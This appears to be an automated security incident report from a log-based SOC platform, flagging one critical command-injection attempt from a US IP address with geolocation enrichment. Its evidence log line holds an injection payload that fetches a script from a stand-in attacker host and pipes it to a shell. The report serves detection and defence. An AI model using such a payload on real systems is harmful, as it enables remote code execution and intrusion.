LOG-BASED SOC PLATFORM
SECURITY INCIDENT REPORT

Incident Batch Size: 1

Incident Summary

Time	Severity	Rule	Source IP	IOC
02/Nov/2025:12:01:25 +0530	CRITICAL	Command Injection / Shell	12.12.12.12	NO

IP Intelligence & Enrichment

Primary IP	12.12.12.12
Private IP	NO
Country	US
Region	Missouri
City	St. Louis
Organization	AS7018 AT&T Enterprises, LLC
ASN	UNKNOWN
Source	CACHE

Evidence Samples

```
12.12.12.12 - - [02/Nov/2025:12:01:25 +0530] "GET
/api?cmd=;wget%20http://evil.example/payload.sh%20-O%20-|sh HTTP/1.1" 200 55 "-"
"Wget/1.20.3 (linux-gnu)"
```